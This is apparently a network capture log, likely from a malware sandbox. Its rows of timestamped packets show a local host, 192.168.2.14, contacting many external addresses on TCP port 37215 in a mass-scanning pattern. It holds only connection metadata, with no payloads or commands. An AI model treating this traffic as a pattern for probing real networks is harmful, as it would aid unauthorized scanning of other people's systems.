Aug 6, 2024 08:32:57.845463991 CEST	37215	39328	156.5.79.218	192.168.2.14
Aug 6, 2024 08:32:57.845474958 CEST	37215	49708	156.134.51.115	192.168.2.14
Aug 6, 2024 08:32:57.845484018 CEST	37215	50222	156.134.51.115	192.168.2.14
Aug 6, 2024 08:32:57.845496893 CEST	37215	37194	156.48.101.240	192.168.2.14
Aug 6, 2024 08:32:57.845506907 CEST	39328	37215	192.168.2.14	156.5.79.218
Aug 6, 2024 08:32:57.845524073 CEST	50222	37215	192.168.2.14	156.134.51.115
Aug 6, 2024 08:32:57.845550060 CEST	39328	37215	192.168.2.14	156.5.79.218
Aug 6, 2024 08:32:57.845561981 CEST	48158	37215	192.168.2.14	41.124.13.62
Aug 6, 2024 08:32:57.845582008 CEST	50222	37215	192.168.2.14	156.134.51.115
Aug 6, 2024 08:32:57.845594883 CEST	42420	37215	192.168.2.14	41.81.28.179
Aug 6, 2024 08:32:57.845614910 CEST	37215	37708	156.48.101.240	192.168.2.14
Aug 6, 2024 08:32:57.845624924 CEST	37215	46642	156.137.142.77	192.168.2.14
Aug 6, 2024 08:32:57.845637083 CEST	37215	46592	41.170.201.4	192.168.2.14
Aug 6, 2024 08:32:57.845657110 CEST	37708	37215	192.168.2.14	156.48.101.240
Aug 6, 2024 08:32:57.845700979 CEST	37708	37215	192.168.2.14	156.48.101.240
Aug 6, 2024 08:32:57.845714092 CEST	33256	37215	192.168.2.14	41.240.222.87
Aug 6, 2024 08:32:57.845762014 CEST	37215	47130	156.137.142.77	192.168.2.14
Aug 6, 2024 08:32:57.845807076 CEST	47130	37215	192.168.2.14	156.137.142.77
Aug 6, 2024 08:32:57.845813036 CEST	37215	47080	41.170.201.4	192.168.2.14
Aug 6, 2024 08:32:57.845824003 CEST	37215	36250	41.154.221.237	192.168.2.14
Aug 6, 2024 08:32:57.845833063 CEST	37215	39840	197.219.157.185	192.168.2.14
Aug 6, 2024 08:32:57.845849991 CEST	47130	37215	192.168.2.14	156.137.142.77
Aug 6, 2024 08:32:57.845849991 CEST	47080	37215	192.168.2.14	41.170.201.4
Aug 6, 2024 08:32:57.845856905 CEST	56804	37215	192.168.2.14	156.39.190.188
Aug 6, 2024 08:32:57.845890999 CEST	47080	37215	192.168.2.14	41.170.201.4
Aug 6, 2024 08:32:57.845902920 CEST	43414	37215	192.168.2.14	197.175.48.74
Aug 6, 2024 08:32:57.845947027 CEST	37215	44544	197.157.57.38	192.168.2.14
Aug 6, 2024 08:32:57.845957041 CEST	37215	45018	197.157.57.38	192.168.2.14
Aug 6, 2024 08:32:57.845990896 CEST	37215	54512	41.212.248.151	192.168.2.14
Aug 6, 2024 08:32:57.845999002 CEST	45018	37215	192.168.2.14	197.157.57.38
Aug 6, 2024 08:32:57.846000910 CEST	37215	40314	197.219.157.185	192.168.2.14
Aug 6, 2024 08:32:57.846031904 CEST	45018	37215	192.168.2.14	197.157.57.38
Aug 6, 2024 08:32:57.846040010 CEST	40314	37215	192.168.2.14	197.219.157.185
Aug 6, 2024 08:32:57.846040964 CEST	54512	37215	192.168.2.14	41.212.248.151
Aug 6, 2024 08:32:57.846076012 CEST	53660	37215	192.168.2.14	41.83.20.241
Aug 6, 2024 08:32:57.846076965 CEST	40314	37215	192.168.2.14	197.219.157.185
Aug 6, 2024 08:32:57.846090078 CEST	54512	37215	192.168.2.14	41.212.248.151
Aug 6, 2024 08:32:57.846102953 CEST	33614	37215	192.168.2.14	41.195.3.220
Aug 6, 2024 08:32:57.846112013 CEST	37215	54040	41.212.248.151	192.168.2.14
Aug 6, 2024 08:32:57.846112013 CEST	56116	37215	192.168.2.14	41.169.1.160
Aug 6, 2024 08:32:57.846123934 CEST	37215	45026	156.49.6.9	192.168.2.14
Aug 6, 2024 08:32:57.846133947 CEST	37215	36724	41.154.221.237	192.168.2.14
Aug 6, 2024 08:32:57.846177101 CEST	36724	37215	192.168.2.14	41.154.221.237
Aug 6, 2024 08:32:57.846206903 CEST	36724	37215	192.168.2.14	41.154.221.237
Aug 6, 2024 08:32:57.846234083 CEST	52128	37215	192.168.2.14	197.123.250.251
Aug 6, 2024 08:32:57.846352100 CEST	37215	47072	41.38.168.255	192.168.2.14
Aug 6, 2024 08:32:57.846363068 CEST	37215	45548	156.49.6.9	192.168.2.14
Aug 6, 2024 08:32:57.846373081 CEST	37215	47550	41.38.168.255	192.168.2.14
Aug 6, 2024 08:32:57.846383095 CEST	37215	39766	41.87.34.185	192.168.2.14
Aug 6, 2024 08:32:57.846438885 CEST	45548	37215	192.168.2.14	156.49.6.9
Aug 6, 2024 08:32:57.846438885 CEST	45548	37215	192.168.2.14	156.49.6.9
Aug 6, 2024 08:32:57.846456051 CEST	47636	37215	192.168.2.14	41.233.198.210
Aug 6, 2024 08:32:57.846474886 CEST	47550	37215	192.168.2.14	41.38.168.255
Aug 6, 2024 08:32:57.846486092 CEST	37215	40324	41.87.34.185	192.168.2.14
Aug 6, 2024 08:32:57.846524000 CEST	40324	37215	192.168.2.14	41.87.34.185
Aug 6, 2024 08:32:57.846524000 CEST	47550	37215	192.168.2.14	41.38.168.255
Aug 6, 2024 08:32:57.846535921 CEST	37215	42160	197.76.241.245	192.168.2.14
Aug 6, 2024 08:32:57.846538067 CEST	51634	37215	192.168.2.14	156.31.218.172
Aug 6, 2024 08:32:57.846548080 CEST	37215	42684	197.76.241.245	192.168.2.14
Aug 6, 2024 08:32:57.846560955 CEST	40324	37215	192.168.2.14	41.87.34.185
Aug 6, 2024 08:32:57.846575975 CEST	37215	49024	197.241.32.4	192.168.2.14
Aug 6, 2024 08:32:57.846577883 CEST	42684	37215	192.168.2.14	197.76.241.245
Aug 6, 2024 08:32:57.846604109 CEST	36802	37215	192.168.2.14	197.94.142.206
Aug 6, 2024 08:32:57.846626043 CEST	49024	37215	192.168.2.14	197.241.32.4
Aug 6, 2024 08:32:57.846631050 CEST	42684	37215	192.168.2.14	197.76.241.245
Aug 6, 2024 08:32:57.846638918 CEST	37215	38232	41.199.95.162	192.168.2.14
Aug 6, 2024 08:32:57.846642971 CEST	48114	37215	192.168.2.14	156.99.69.120
Aug 6, 2024 08:32:57.846649885 CEST	37215	48504	197.241.32.4	192.168.2.14
Aug 6, 2024 08:32:57.846668005 CEST	49024	37215	192.168.2.14	197.241.32.4
Aug 6, 2024 08:32:57.846678019 CEST	56026	37215	192.168.2.14	41.71.67.34
Aug 6, 2024 08:32:57.846678972 CEST	38232	37215	192.168.2.14	41.199.95.162
Aug 6, 2024 08:32:57.846710920 CEST	38232	37215	192.168.2.14	41.199.95.162
Aug 6, 2024 08:32:57.846726894 CEST	53542	37215	192.168.2.14	41.39.210.77
Aug 6, 2024 08:32:57.846842051 CEST	37215	37732	41.199.95.162	192.168.2.14
Aug 6, 2024 08:32:57.846853018 CEST	37215	53130	41.226.196.102	192.168.2.14
Aug 6, 2024 08:32:57.846862078 CEST	37215	53614	41.226.196.102	192.168.2.14
Aug 6, 2024 08:32:57.846894979 CEST	53614	37215	192.168.2.14	41.226.196.102
Aug 6, 2024 08:32:57.846955061 CEST	53614	37215	192.168.2.14	41.226.196.102
Aug 6, 2024 08:32:57.846980095 CEST	52120	37215	192.168.2.14	197.17.109.18
Aug 6, 2024 08:32:57.846982956 CEST	37215	47280	41.2.112.41	192.168.2.14
Aug 6, 2024 08:32:57.846996069 CEST	37215	47764	41.2.112.41	192.168.2.14
Aug 6, 2024 08:32:57.847018003 CEST	37215	44092	156.11.49.218	192.168.2.14
Aug 6, 2024 08:32:57.847028971 CEST	37215	44574	156.11.49.218	192.168.2.14
Aug 6, 2024 08:32:57.847031116 CEST	47764	37215	192.168.2.14	41.2.112.41
Aug 6, 2024 08:32:57.847054958 CEST	44574	37215	192.168.2.14	156.11.49.218
Aug 6, 2024 08:32:57.847080946 CEST	47764	37215	192.168.2.14	41.2.112.41
Aug 6, 2024 08:32:57.847098112 CEST	33886	37215	192.168.2.14	156.111.178.221
Aug 6, 2024 08:32:57.847112894 CEST	37215	35798	197.59.82.212	192.168.2.14
Aug 6, 2024 08:32:57.847125053 CEST	37215	36340	197.59.82.212	192.168.2.14
Aug 6, 2024 08:32:57.847132921 CEST	44574	37215	192.168.2.14	156.11.49.218
Aug 6, 2024 08:32:57.847135067 CEST	37215	52202	197.38.129.206	192.168.2.14
Aug 6, 2024 08:32:57.847153902 CEST	59960	37215	192.168.2.14	41.64.162.163
Aug 6, 2024 08:32:57.847153902 CEST	36340	37215	192.168.2.14	197.59.82.212
Aug 6, 2024 08:32:57.847183943 CEST	36340	37215	192.168.2.14	197.59.82.212
Aug 6, 2024 08:32:57.847187996 CEST	57790	37215	192.168.2.14	197.85.104.216
Aug 6, 2024 08:32:57.847294092 CEST	37215	40768	41.196.151.196	192.168.2.14
Aug 6, 2024 08:32:57.847305059 CEST	37215	52724	197.38.129.206	192.168.2.14
Aug 6, 2024 08:32:57.847316027 CEST	37215	55410	197.166.211.169	192.168.2.14
Aug 6, 2024 08:32:57.847347021 CEST	37215	41254	41.196.151.196	192.168.2.14
Aug 6, 2024 08:32:57.847361088 CEST	37215	55896	197.166.211.169	192.168.2.14
Aug 6, 2024 08:32:57.847383022 CEST	52724	37215	192.168.2.14	197.38.129.206
Aug 6, 2024 08:32:57.847383022 CEST	52724	37215	192.168.2.14	197.38.129.206
Aug 6, 2024 08:32:57.847383022 CEST	41254	37215	192.168.2.14	41.196.151.196
Aug 6, 2024 08:32:57.847404957 CEST	33664	37215	192.168.2.14	197.248.74.54
Aug 6, 2024 08:32:57.847440004 CEST	41254	37215	192.168.2.14	41.196.151.196
Aug 6, 2024 08:32:57.847474098 CEST	46206	37215	192.168.2.14	41.241.249.10
Aug 6, 2024 08:32:57.847489119 CEST	55896	37215	192.168.2.14	197.166.211.169
Aug 6, 2024 08:32:57.847489119 CEST	55896	37215	192.168.2.14	197.166.211.169
Aug 6, 2024 08:32:57.847489119 CEST	54652	37215	192.168.2.14	197.129.93.172
Aug 6, 2024 08:32:57.847543001 CEST	37215	47248	197.115.196.137	192.168.2.14
Aug 6, 2024 08:32:57.847729921 CEST	37215	47784	197.115.196.137	192.168.2.14
Aug 6, 2024 08:32:57.847742081 CEST	37215	44750	156.255.60.96	192.168.2.14
Aug 6, 2024 08:32:57.847753048 CEST	37215	43022	41.238.196.59	192.168.2.14
Aug 6, 2024 08:32:57.847805977 CEST	47784	37215	192.168.2.14	197.115.196.137
Aug 6, 2024 08:32:57.847822905 CEST	47784	37215	192.168.2.14	197.115.196.137
Aug 6, 2024 08:32:57.847908020 CEST	48888	37215	192.168.2.14	41.126.237.119
Aug 6, 2024 08:32:57.847918034 CEST	37215	43946	197.141.127.19	192.168.2.14
Aug 6, 2024 08:32:57.847985983 CEST	43946	37215	192.168.2.14	197.141.127.19
Aug 6, 2024 08:32:57.847986937 CEST	37215	43508	41.238.196.59	192.168.2.14
Aug 6, 2024 08:32:57.847997904 CEST	37215	40940	156.91.72.96	192.168.2.14
Aug 6, 2024 08:32:57.848007917 CEST	37215	45238	156.255.60.96	192.168.2.14
Aug 6, 2024 08:32:57.848021030 CEST	43946	37215	192.168.2.14	197.141.127.19
Aug 6, 2024 08:32:57.848025084 CEST	57988	37215	192.168.2.14	156.109.160.83
Aug 6, 2024 08:32:57.848026037 CEST	43508	37215	192.168.2.14	41.238.196.59
Aug 6, 2024 08:32:57.848037004 CEST	37215	41426	156.91.72.96	192.168.2.14
Aug 6, 2024 08:32:57.848045111 CEST	45238	37215	192.168.2.14	156.255.60.96
Aug 6, 2024 08:32:57.848047972 CEST	37215	53766	197.63.193.232	192.168.2.14
Aug 6, 2024 08:32:57.848098040 CEST	43508	37215	192.168.2.14	41.238.196.59
Aug 6, 2024 08:32:57.848098040 CEST	41426	37215	192.168.2.14	156.91.72.96
Aug 6, 2024 08:32:57.848098993 CEST	57380	37215	192.168.2.14	156.68.100.122
Aug 6, 2024 08:32:57.848102093 CEST	60190	37215	192.168.2.14	197.246.49.210
Aug 6, 2024 08:32:57.848104954 CEST	45238	37215	192.168.2.14	156.255.60.96
Aug 6, 2024 08:32:57.848129034 CEST	41426	37215	192.168.2.14	156.91.72.96
Aug 6, 2024 08:32:57.848176003 CEST	37215	43460	197.141.127.19	192.168.2.14
Aug 6, 2024 08:32:57.848176956 CEST	46238	37215	192.168.2.14	41.249.148.178
Aug 6, 2024 08:32:57.848189116 CEST	37215	54370	197.63.193.232	192.168.2.14
Aug 6, 2024 08:32:57.848212957 CEST	37215	58398	197.104.24.129	192.168.2.14
Aug 6, 2024 08:32:57.848222971 CEST	37215	52820	197.75.73.10	192.168.2.14
Aug 6, 2024 08:32:57.848222971 CEST	54370	37215	192.168.2.14	197.63.193.232
Aug 6, 2024 08:32:57.848252058 CEST	58398	37215	192.168.2.14	197.104.24.129
Aug 6, 2024 08:32:57.848272085 CEST	54370	37215	192.168.2.14	197.63.193.232
Aug 6, 2024 08:32:57.848294973 CEST	51716	37215	192.168.2.14	156.110.107.187
Aug 6, 2024 08:32:57.848318100 CEST	58398	37215	192.168.2.14	197.104.24.129
Aug 6, 2024 08:32:57.848381042 CEST	37215	54950	156.214.108.255	192.168.2.14
Aug 6, 2024 08:32:57.848402023 CEST	53460	37215	192.168.2.14	156.229.253.94
Aug 6, 2024 08:32:57.848417997 CEST	37215	55552	156.214.108.255	192.168.2.14
Aug 6, 2024 08:32:57.848427057 CEST	37215	57802	197.104.24.129	192.168.2.14
Aug 6, 2024 08:32:57.848462105 CEST	55552	37215	192.168.2.14	156.214.108.255
Aug 6, 2024 08:32:57.848525047 CEST	55552	37215	192.168.2.14	156.214.108.255
Aug 6, 2024 08:32:57.848525047 CEST	45084	37215	192.168.2.14	156.120.203.129
Aug 6, 2024 08:32:57.848563910 CEST	37215	53398	197.75.73.10	192.168.2.14
Aug 6, 2024 08:32:57.848575115 CEST	37215	35946	156.204.167.229	192.168.2.14
Aug 6, 2024 08:32:57.848612070 CEST	53398	37215	192.168.2.14	197.75.73.10
Aug 6, 2024 08:32:57.848654985 CEST	53398	37215	192.168.2.14	197.75.73.10
Aug 6, 2024 08:32:57.848678112 CEST	53542	37215	192.168.2.14	156.38.36.98
Aug 6, 2024 08:32:57.848740101 CEST	37215	36504	156.204.167.229	192.168.2.14
Aug 6, 2024 08:32:57.848752022 CEST	37215	38640	41.138.87.130	192.168.2.14
Aug 6, 2024 08:32:57.848772049 CEST	37215	39178	41.138.87.130	192.168.2.14
Aug 6, 2024 08:32:57.848781109 CEST	37215	56918	41.21.190.34	192.168.2.14
Aug 6, 2024 08:32:57.848814011 CEST	39178	37215	192.168.2.14	41.138.87.130
Aug 6, 2024 08:32:57.848855019 CEST	44004	37215	192.168.2.14	156.90.142.34
Aug 6, 2024 08:32:57.848875999 CEST	36504	37215	192.168.2.14	156.204.167.229
Aug 6, 2024 08:32:57.848875999 CEST	36504	37215	192.168.2.14	156.204.167.229
Aug 6, 2024 08:32:57.848882914 CEST	37215	57434	41.21.190.34	192.168.2.14
Aug 6, 2024 08:32:57.848893881 CEST	37215	37842	41.246.8.105	192.168.2.14
Aug 6, 2024 08:32:57.848905087 CEST	37215	34454	156.57.27.188	192.168.2.14
Aug 6, 2024 08:32:57.848910093 CEST	50514	37215	192.168.2.14	156.191.143.79
Aug 6, 2024 08:32:57.848912001 CEST	39178	37215	192.168.2.14	41.138.87.130
Aug 6, 2024 08:32:57.848937988 CEST	57434	37215	192.168.2.14	41.21.190.34
Aug 6, 2024 08:32:57.848938942 CEST	57434	37215	192.168.2.14	41.21.190.34
Aug 6, 2024 08:32:57.848964930 CEST	44420	37215	192.168.2.14	41.76.72.232
Aug 6, 2024 08:32:57.849044085 CEST	37215	38342	41.246.8.105	192.168.2.14
Aug 6, 2024 08:32:57.849055052 CEST	37215	35064	41.87.115.224	192.168.2.14
Aug 6, 2024 08:32:57.849067926 CEST	37215	34954	156.57.27.188	192.168.2.14
Aug 6, 2024 08:32:57.849092007 CEST	38342	37215	192.168.2.14	41.246.8.105
Aug 6, 2024 08:32:57.849126101 CEST	34954	37215	192.168.2.14	156.57.27.188
Aug 6, 2024 08:32:57.849128008 CEST	37215	35670	41.87.115.224	192.168.2.14
Aug 6, 2024 08:32:57.849138975 CEST	38342	37215	192.168.2.14	41.246.8.105
Aug 6, 2024 08:32:57.849174976 CEST	37215	54080	156.78.201.98	192.168.2.14
Aug 6, 2024 08:32:57.849179983 CEST	35842	37215	192.168.2.14	156.146.161.140
Aug 6, 2024 08:32:57.849196911 CEST	34954	37215	192.168.2.14	156.57.27.188
Aug 6, 2024 08:32:57.849222898 CEST	35670	37215	192.168.2.14	41.87.115.224
Aug 6, 2024 08:32:57.849224091 CEST	33674	37215	192.168.2.14	41.132.244.189
Aug 6, 2024 08:32:57.849251032 CEST	35670	37215	192.168.2.14	41.87.115.224
Aug 6, 2024 08:32:57.849276066 CEST	54012	37215	192.168.2.14	197.49.113.26
Aug 6, 2024 08:32:57.849333048 CEST	37215	54680	156.78.201.98	192.168.2.14
Aug 6, 2024 08:32:57.849344015 CEST	37215	40484	197.202.46.32	192.168.2.14
Aug 6, 2024 08:32:57.849353075 CEST	37215	59788	156.233.189.37	192.168.2.14
Aug 6, 2024 08:32:57.849365950 CEST	37215	41076	197.202.46.32	192.168.2.14
Aug 6, 2024 08:32:57.849375010 CEST	37215	39676	41.191.113.153	192.168.2.14
Aug 6, 2024 08:32:57.849375963 CEST	54680	37215	192.168.2.14	156.78.201.98
Aug 6, 2024 08:32:57.849384069 CEST	37215	55712	156.63.7.9	192.168.2.14
Aug 6, 2024 08:32:57.849389076 CEST	59788	37215	192.168.2.14	156.233.189.37
Aug 6, 2024 08:32:57.849397898 CEST	41076	37215	192.168.2.14	197.202.46.32
Aug 6, 2024 08:32:57.849397898 CEST	39676	37215	192.168.2.14	41.191.113.153
Aug 6, 2024 08:32:57.849410057 CEST	37215	59224	156.233.189.37	192.168.2.14
Aug 6, 2024 08:32:57.849416018 CEST	54680	37215	192.168.2.14	156.78.201.98
Aug 6, 2024 08:32:57.849419117 CEST	55712	37215	192.168.2.14	156.63.7.9
Aug 6, 2024 08:32:57.849442005 CEST	48688	37215	192.168.2.14	197.243.147.108
Aug 6, 2024 08:32:57.849462986 CEST	41076	37215	192.168.2.14	197.202.46.32
Aug 6, 2024 08:32:57.849463940 CEST	37215	39130	41.191.113.153	192.168.2.14
Aug 6, 2024 08:32:57.849473953 CEST	59788	37215	192.168.2.14	156.233.189.37
Aug 6, 2024 08:32:57.849474907 CEST	37215	48678	197.104.64.187	192.168.2.14
Aug 6, 2024 08:32:57.849482059 CEST	39676	37215	192.168.2.14	41.191.113.153
Aug 6, 2024 08:32:57.849487066 CEST	37215	55190	156.63.7.9	192.168.2.14
Aug 6, 2024 08:32:57.849492073 CEST	55712	37215	192.168.2.14	156.63.7.9
Aug 6, 2024 08:32:57.849524975 CEST	48678	37215	192.168.2.14	197.104.64.187
Aug 6, 2024 08:32:57.849586010 CEST	59852	37215	192.168.2.14	156.161.239.9
Aug 6, 2024 08:32:57.849589109 CEST	42130	37215	192.168.2.14	41.93.67.128
Aug 6, 2024 08:32:57.849589109 CEST	39546	37215	192.168.2.14	156.71.179.176
Aug 6, 2024 08:32:57.849591970 CEST	43938	37215	192.168.2.14	41.126.48.149
Aug 6, 2024 08:32:57.849594116 CEST	48678	37215	192.168.2.14	197.104.64.187
Aug 6, 2024 08:32:57.849615097 CEST	34840	37215	192.168.2.14	156.115.124.112
Aug 6, 2024 08:32:57.849678040 CEST	37215	48166	197.104.64.187	192.168.2.14
Aug 6, 2024 08:32:57.849689007 CEST	37215	44608	41.137.49.124	192.168.2.14
Aug 6, 2024 08:32:57.849920988 CEST	37215	47500	41.150.227.160	192.168.2.14
Aug 6, 2024 08:32:57.850126028 CEST	37215	45120	41.137.49.124	192.168.2.14
Aug 6, 2024 08:32:57.850136042 CEST	37215	48012	41.150.227.160	192.168.2.14
Aug 6, 2024 08:32:57.850171089 CEST	37215	57116	41.164.3.200	192.168.2.14
Aug 6, 2024 08:32:57.850177050 CEST	48012	37215	192.168.2.14	41.150.227.160
Aug 6, 2024 08:32:57.850179911 CEST	37215	57628	41.164.3.200	192.168.2.14
Aug 6, 2024 08:32:57.850188971 CEST	37215	35450	197.178.231.23	192.168.2.14
Aug 6, 2024 08:32:57.850215912 CEST	57628	37215	192.168.2.14	41.164.3.200
Aug 6, 2024 08:32:57.850231886 CEST	48012	37215	192.168.2.14	41.150.227.160
Aug 6, 2024 08:32:57.850236893 CEST	45120	37215	192.168.2.14	41.137.49.124
Aug 6, 2024 08:32:57.850236893 CEST	45120	37215	192.168.2.14	41.137.49.124
Aug 6, 2024 08:32:57.850261927 CEST	41682	37215	192.168.2.14	197.99.255.71
Aug 6, 2024 08:32:57.850275993 CEST	55596	37215	192.168.2.14	197.243.175.21
Aug 6, 2024 08:32:57.850358009 CEST	54044	37215	192.168.2.14	156.132.223.150
Aug 6, 2024 08:32:57.850373983 CEST	57628	37215	192.168.2.14	41.164.3.200
Aug 6, 2024 08:32:57.850414991 CEST	37215	35962	197.178.231.23	192.168.2.14
Aug 6, 2024 08:32:57.850431919 CEST	37215	43796	156.163.154.143	192.168.2.14
Aug 6, 2024 08:32:57.850441933 CEST	37215	44308	156.163.154.143	192.168.2.14
Aug 6, 2024 08:32:57.850450039 CEST	37215	54548	41.34.50.198	192.168.2.14
Aug 6, 2024 08:32:57.850497961 CEST	44308	37215	192.168.2.14	156.163.154.143
Aug 6, 2024 08:32:57.850497961 CEST	54548	37215	192.168.2.14	41.34.50.198
Aug 6, 2024 08:32:57.850502968 CEST	35962	37215	192.168.2.14	197.178.231.23
Aug 6, 2024 08:32:57.850502968 CEST	35962	37215	192.168.2.14	197.178.231.23
Aug 6, 2024 08:32:57.850517988 CEST	37215	54036	41.34.50.198	192.168.2.14
Aug 6, 2024 08:32:57.850559950 CEST	56982	37215	192.168.2.14	197.26.44.71
Aug 6, 2024 08:32:57.850559950 CEST	44308	37215	192.168.2.14	156.163.154.143
Aug 6, 2024 08:32:57.850583076 CEST	54548	37215	192.168.2.14	41.34.50.198
Aug 6, 2024 08:32:57.850608110 CEST	34696	37215	192.168.2.14	197.239.85.60
Aug 6, 2024 08:32:57.850626945 CEST	58266	37215	192.168.2.14	156.206.209.219
Aug 6, 2024 08:32:57.850646019 CEST	37215	43354	156.201.149.51	192.168.2.14
Aug 6, 2024 08:32:57.850678921 CEST	37215	42842	156.201.149.51	192.168.2.14
Aug 6, 2024 08:32:57.850708961 CEST	43354	37215	192.168.2.14	156.201.149.51
Aug 6, 2024 08:32:57.850718975 CEST	37215	34222	197.147.67.118	192.168.2.14
Aug 6, 2024 08:32:57.850728035 CEST	37215	44332	156.32.123.200	192.168.2.14
Aug 6, 2024 08:32:57.850730896 CEST	43354	37215	192.168.2.14	156.201.149.51
Aug 6, 2024 08:32:57.850754023 CEST	34222	37215	192.168.2.14	197.147.67.118
Aug 6, 2024 08:32:57.850790024 CEST	34222	37215	192.168.2.14	197.147.67.118
Aug 6, 2024 08:32:57.850805044 CEST	52110	37215	192.168.2.14	156.3.234.130
Aug 6, 2024 08:32:57.850817919 CEST	39764	37215	192.168.2.14	156.120.149.131
Aug 6, 2024 08:32:57.850970030 CEST	37215	48014	41.45.249.113	192.168.2.14
Aug 6, 2024 08:32:57.850980043 CEST	37215	47502	41.45.249.113	192.168.2.14
Aug 6, 2024 08:32:57.850989103 CEST	37215	44844	156.32.123.200	192.168.2.14
Aug 6, 2024 08:32:57.851008892 CEST	48014	37215	192.168.2.14	41.45.249.113
Aug 6, 2024 08:32:57.851016998 CEST	44844	37215	192.168.2.14	156.32.123.200
Aug 6, 2024 08:32:57.851061106 CEST	48014	37215	192.168.2.14	41.45.249.113
Aug 6, 2024 08:32:57.851070881 CEST	44844	37215	192.168.2.14	156.32.123.200
Aug 6, 2024 08:32:57.851099014 CEST	50118	37215	192.168.2.14	197.236.195.48
Aug 6, 2024 08:32:57.851108074 CEST	37215	33710	197.147.67.118	192.168.2.14
Aug 6, 2024 08:32:57.851109028 CEST	60082	37215	192.168.2.14	41.61.105.166
Aug 6, 2024 08:32:57.851119041 CEST	37215	60052	156.183.46.173	192.168.2.14
Aug 6, 2024 08:32:57.851227045 CEST	37215	33946	41.199.180.220	192.168.2.14
Aug 6, 2024 08:32:57.851283073 CEST	37215	47384	156.159.84.59	192.168.2.14
Aug 6, 2024 08:32:57.851294994 CEST	37215	60564	156.183.46.173	192.168.2.14
Aug 6, 2024 08:32:57.851304054 CEST	37215	34456	41.199.180.220	192.168.2.14
Aug 6, 2024 08:32:57.851313114 CEST	37215	46870	156.159.84.59	192.168.2.14
Aug 6, 2024 08:32:57.851345062 CEST	47384	37215	192.168.2.14	156.159.84.59
Aug 6, 2024 08:32:57.851350069 CEST	60564	37215	192.168.2.14	156.183.46.173
Aug 6, 2024 08:32:57.851350069 CEST	34456	37215	192.168.2.14	41.199.180.220
Aug 6, 2024 08:32:57.851360083 CEST	47384	37215	192.168.2.14	156.159.84.59
Aug 6, 2024 08:32:57.851371050 CEST	37215	46216	156.203.201.64	192.168.2.14
Aug 6, 2024 08:32:57.851381063 CEST	37215	38670	156.220.29.16	192.168.2.14
Aug 6, 2024 08:32:57.851387978 CEST	48510	37215	192.168.2.14	197.24.106.202
Aug 6, 2024 08:32:57.851430893 CEST	60564	37215	192.168.2.14	156.183.46.173
Aug 6, 2024 08:32:57.851444006 CEST	34456	37215	192.168.2.14	41.199.180.220
Aug 6, 2024 08:32:57.851452112 CEST	37215	46728	156.203.201.64	192.168.2.14
Aug 6, 2024 08:32:57.851460934 CEST	37215	33700	156.129.31.110	192.168.2.14
Aug 6, 2024 08:32:57.851469994 CEST	37215	39274	41.64.229.92	192.168.2.14
Aug 6, 2024 08:32:57.851476908 CEST	39016	37215	192.168.2.14	156.127.251.19
Aug 6, 2024 08:32:57.851478100 CEST	46728	37215	192.168.2.14	156.203.201.64
Aug 6, 2024 08:32:57.851481915 CEST	54398	37215	192.168.2.14	41.216.206.238
Aug 6, 2024 08:32:57.851517916 CEST	46728	37215	192.168.2.14	156.203.201.64
Aug 6, 2024 08:32:57.851557016 CEST	36414	37215	192.168.2.14	156.110.250.215
Aug 6, 2024 08:32:57.851605892 CEST	37215	39182	156.220.29.16	192.168.2.14
Aug 6, 2024 08:32:57.851615906 CEST	37215	39786	41.64.229.92	192.168.2.14
Aug 6, 2024 08:32:57.851624966 CEST	37215	34212	156.129.31.110	192.168.2.14
Aug 6, 2024 08:32:57.851640940 CEST	37215	44858	156.61.31.26	192.168.2.14
Aug 6, 2024 08:32:57.851650953 CEST	37215	58262	197.39.222.191	192.168.2.14
Aug 6, 2024 08:32:57.851656914 CEST	39182	37215	192.168.2.14	156.220.29.16
Aug 6, 2024 08:32:57.851658106 CEST	34212	37215	192.168.2.14	156.129.31.110
Aug 6, 2024 08:32:57.851661921 CEST	37215	46118	41.179.116.217	192.168.2.14
Aug 6, 2024 08:32:57.851686954 CEST	58262	37215	192.168.2.14	197.39.222.191
Aug 6, 2024 08:32:57.851691961 CEST	37215	57750	197.39.222.191	192.168.2.14
Aug 6, 2024 08:32:57.851694107 CEST	39182	37215	192.168.2.14	156.220.29.16
Aug 6, 2024 08:32:57.851700068 CEST	39786	37215	192.168.2.14	41.64.229.92
Aug 6, 2024 08:32:57.851700068 CEST	39786	37215	192.168.2.14	41.64.229.92
Aug 6, 2024 08:32:57.851711035 CEST	40578	37215	192.168.2.14	41.84.43.12
Aug 6, 2024 08:32:57.851749897 CEST	37215	45370	156.61.31.26	192.168.2.14
Aug 6, 2024 08:32:57.851759911 CEST	37215	36268	41.234.139.223	192.168.2.14
Aug 6, 2024 08:32:57.851789951 CEST	33062	37215	192.168.2.14	41.247.194.250
Aug 6, 2024 08:32:57.851789951 CEST	58262	37215	192.168.2.14	197.39.222.191
Aug 6, 2024 08:32:57.851794004 CEST	34212	37215	192.168.2.14	156.129.31.110
Aug 6, 2024 08:32:57.851794004 CEST	35300	37215	192.168.2.14	197.146.41.152
Aug 6, 2024 08:32:57.851804018 CEST	34172	37215	192.168.2.14	41.130.36.148
Aug 6, 2024 08:32:57.851830006 CEST	45370	37215	192.168.2.14	156.61.31.26
Aug 6, 2024 08:32:57.851855040 CEST	45370	37215	192.168.2.14	156.61.31.26
Aug 6, 2024 08:32:57.851876974 CEST	41196	37215	192.168.2.14	156.239.82.241
Aug 6, 2024 08:32:57.851885080 CEST	37215	46630	41.179.116.217	192.168.2.14
Aug 6, 2024 08:32:57.851927042 CEST	46630	37215	192.168.2.14	41.179.116.217
Aug 6, 2024 08:32:57.851959944 CEST	37215	59874	156.167.74.1	192.168.2.14
Aug 6, 2024 08:32:57.851969957 CEST	37215	60386	156.167.74.1	192.168.2.14
Aug 6, 2024 08:32:57.851982117 CEST	37215	36780	41.234.139.223	192.168.2.14
Aug 6, 2024 08:32:57.851989985 CEST	59274	37215	192.168.2.14	156.141.181.78
Aug 6, 2024 08:32:57.851993084 CEST	37215	42704	41.142.161.8	192.168.2.14
Aug 6, 2024 08:32:57.851994991 CEST	46630	37215	192.168.2.14	41.179.116.217
Aug 6, 2024 08:32:57.852015972 CEST	36780	37215	192.168.2.14	41.234.139.223
Aug 6, 2024 08:32:57.852021933 CEST	60386	37215	192.168.2.14	156.167.74.1
Aug 6, 2024 08:32:57.852051973 CEST	60386	37215	192.168.2.14	156.167.74.1
Aug 6, 2024 08:32:57.852054119 CEST	50348	37215	192.168.2.14	197.201.240.82
Aug 6, 2024 08:32:57.852091074 CEST	36780	37215	192.168.2.14	41.234.139.223
Aug 6, 2024 08:32:57.852181911 CEST	35802	37215	192.168.2.14	156.165.159.159
Aug 6, 2024 08:32:57.852224112 CEST	37215	43216	41.142.161.8	192.168.2.14
